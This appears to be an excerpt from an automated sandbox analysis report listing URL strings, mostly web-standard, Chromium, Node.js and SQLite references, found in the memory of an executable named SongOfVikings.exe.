Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/standard-things/esm/issues/821.
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/tc39/ecma262/blob/HEAD/LICENSE.md
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/tc39/ecma262/issues/1209
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/tc39/proposal-iterator-helpers/issues/169
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/tc39/proposal-ses/blob/e5271cc42a257a05dcae2fd94713ed2f46c08620/shim/src/freeze.j
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/tc39/proposal-weakrefs
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/tensorflow/models
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/tensorflow/tensorflow
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/tensorflow/text.git
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/tensorflow/tflite-support
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/w3c/gamepad/pull/120
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/w3c/gamepad/pull/120Access
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/w3c/webappsec-permissions-policy/blob/master/features.md#sensor-features
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/w3c/webappsec-permissions-policy/blob/master/features.md#sensor-featuresDeviceOri
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/wasdk/wasmparser
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/web-animations/web-animations-js
Source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/westes/flex
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/yetingli
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gitlab.freedesktop.org/wayland/weston
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gitlab.freedesktop.org/xdg/xdgmime
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gitlab.freedesktop.org/xorg/proto/xproto/
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://goo.gl/4NeimX
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://goo.gl/7K7WLu
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://goo.gl/7K7WLuThe
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://goo.gl/7K7WLuWebAudio.AutoplayWebAudio.Autoplay.CrossOriginWebAudio.Autoplay.UnlockType..
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://goo.gl/EuHzyv
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://goo.gl/HxfxSQ
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://goo.gl/J6ASzs
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://goo.gl/t5IS6M).
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://google.com/pay
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://google.com/payhttps://android.com/paysecure-payment-confirmationAppStoreBillingPlaceHolderZZ
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://heycam.github.io/webidl/#Replaceable
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://heycam.github.io/webidl/#define-the-operations
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://heycam.github.io/webidl/#dfn-class-string
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://heycam.github.io/webidl/#dfn-default-iterator-object
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://heycam.github.io/webidl/#dfn-iterator-prototype-object
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://heycam.github.io/webidl/#es-interfaces
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://heycam.github.io/webidl/#es-iterable
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://heycam.github.io/webidl/#es-iterable-entries
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://heycam.github.io/webidl/#es-iterators
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://heycam.github.io/webidl/#es-namespaces
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://heycam.github.io/webidl/#es-operations
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://heycam.github.io/webidl/#es-stringifier
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://html.spec.whatwg.org/multipage/browsers.html#ascii-serialisation-of-an-origin
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://html.spec.whatwg.org/multipage/browsers.html#concept-origin-opaque
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://html.spec.whatwg.org/multipage/canvas.html#concept-canvas-will-read-frequently
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://html.spec.whatwg.org/multipage/canvas.html#concept-canvas-will-read-frequentlyOut
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#dom-setinterval
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://html.spec.whatwg.org/multipage/webappapis.html#windoworworkerglobalscope
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://infra.spec.whatwg.org/#forgiving-base64
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://infra.spec.whatwg.org/#forgiving-base64-decode
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://invisible-island.net/ncurses/terminfo.ti.html#toc-_Specials
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/161903006
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/166809097
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/184850002
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/187425444
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/220069903
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/220069903emulatePixelLocalStorageEmulate
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/229267970
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/250706693
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/253522366
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://linux.die.net/man/1/dircolors).
Source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://lists.gnu.org/archive/html/automake/2012-07/msg00001.html
Source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://lists.gnu.org/archive/html/automake/2012-07/msg00014.html
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://mathiasbynens.be/notes/javascript-encoding
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://nextdns.io/privacy
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://no-color.org/
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://nodejs.org/
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://nodejs.org/api/cli.html#cli_unhandled_rejections_mode).
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://nodejs.org/api/fs.html
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://nodejs.org/api/fs.html#fs_stat_time_values)
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://nodejs.org/api/http.html#http_class_http_incomingmessage
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://odvr.nic.cz/doh
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://odvr.nic.cz/dohodvr.nic.cz185.43.135.1193.17.47.12001:148f:fffe::12001:148f:ffff::1
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://openjsf.org/
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://pagure.io/lohit
Source: SongOfVikings.exe, 00000000.00000003.1904090510.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1907083686.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1903191671.0000000002D71000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://passwords.google.com
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://perfetto.dev/docs/contributing/getting-started#community).
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://perfetto.dev/docs/contributing/getting-started#community).No
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://play.google.com/billing
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://play.google.com/billingQuota
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://public.dns.iij.jp/
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://public.dns.iij.jp/IIJ
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://public.dns.iij.jp/dns-query
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://public.dns.iij.jp/dns-queryIijUShttps://nextdns.io/privacyNextDNShttps://chromium.dns.nextdn
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap12.html
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap12.html).
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://semver.org/
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://sindresorhus.com
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://sindresorhus.com)
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sites.google.com/site/gaviotachessengine/Home/endgame-tablebases-1
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://source.chromium.org/chromium/chromium/src/
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sourceforge.net/projects/wtl/files/WTL%2010/
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://sourcemaps.info/spec.html
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sqlite.org/
Source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://sqlite.org/cli.html
Source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://sqlite.org/fiddle
Source: SongOfVikings.exe, 00000000.00000003.1774844208.0000000005710000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://sqlite.org/forum/forumpost/206d99a16dd9212f
Source: SongOfVikings.exe, 00000000.00000003.1774844208.0000000005710000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://sqlite.org/forum/forumpost/51e6959f61
Source: SongOfVikings.exe, 00000000.00000003.1774844208.0000000005710000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://sqlite.org/forum/forumpost/68d284c86b082c3e
Source: SongOfVikings.exe, 00000000.00000003.1774844208.0000000005710000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://sqlite.org/forum/forumpost/726219164b
Source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://sqlite.org/forum/forumpost/d7be961c5c
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://stackoverflow.com/a/5501711/3561
Source: SongOfVikings.exe, 00000000.00000003.1903282171.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1904742108.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1904838048.0000000006527000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1903858433.0000000006525000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1904442973.0000000006525000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1905568619.0000000006527000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1904090510.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1904504634.0000000006527000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1905115227.0000000006525000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1903826229.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1905469173.0000000006527000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1903222997.0000000006526000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1904971935.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1905428858.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1904188801.0000000006527000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1907083686.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1903191671.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1904779264.0000000006527000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1905180838.0000000006527000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1904330720.0000000002D71000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.google.com/chrome/a/answer/9122284
Source: SongOfVikings.exe, 00000000.00000003.1903282171.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1904742108.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1904838048.0000000006527000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1903858433.0000000006525000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1904442973.0000000006525000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1905568619.0000000006527000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1904090510.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1904504634.0000000006527000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1905010134.0000000006525000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1905115227.0000000006525000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1903826229.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1905469173.0000000006527000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1903222997.0000000006526000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1904971935.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1904126521.0000000006527000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1905428858.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1904188801.0000000006527000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1907083686.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1903191671.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1904779264.0000000006527000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1905180838.0000000006527000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.google.com/chrome/answer/6098869
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://swiftshader.googlesource.com/SwiftShader
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://tc39.es/ecma262/#sec-%typedarray%-intrinsic-object
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots-defineownproperty-p-de
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots-getownproperty-p
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots-getprototypeof
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots-ownpropertykeys
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://tc39.es/ecma262/#sec-timeclip
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://tc39.es/ecma262/#table-typeof-operator-results
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://tc39.github.io/ecma262/#sec-%iteratorprototype%-object
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://tc39.github.io/ecma262/#sec-%typedarray%.of
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://tc39.github.io/ecma262/#sec-object.prototype.tostring
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://testanything.org/tap-version-14-specification.html
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://testanything.org/tap-version-14-specification.html#subtests
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc2152
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc2397#section-2
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc3492#section-3.4
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc3986#section-3.2.2
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc5234#appendix-B.1
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc6455#section-1.3
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc6838#section-3.1
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc7230#section-3.2.2
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc7230#section-3.2.6
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc7540#section-8.1.2.5
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://url.spec.whatwg.org/#cannot-have-a-username-password-port
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://url.spec.whatwg.org/#concept-url
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://url.spec.whatwg.org/#concept-url-origin
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://url.spec.whatwg.org/#concept-urlencoded-byte-serializer
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://url.spec.whatwg.org/#concept-urlencoded-parser
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://url.spec.whatwg.org/#concept-urlencoded-serializer
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://url.spec.whatwg.org/#forbidden-host-code-point
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://url.spec.whatwg.org/#special-scheme
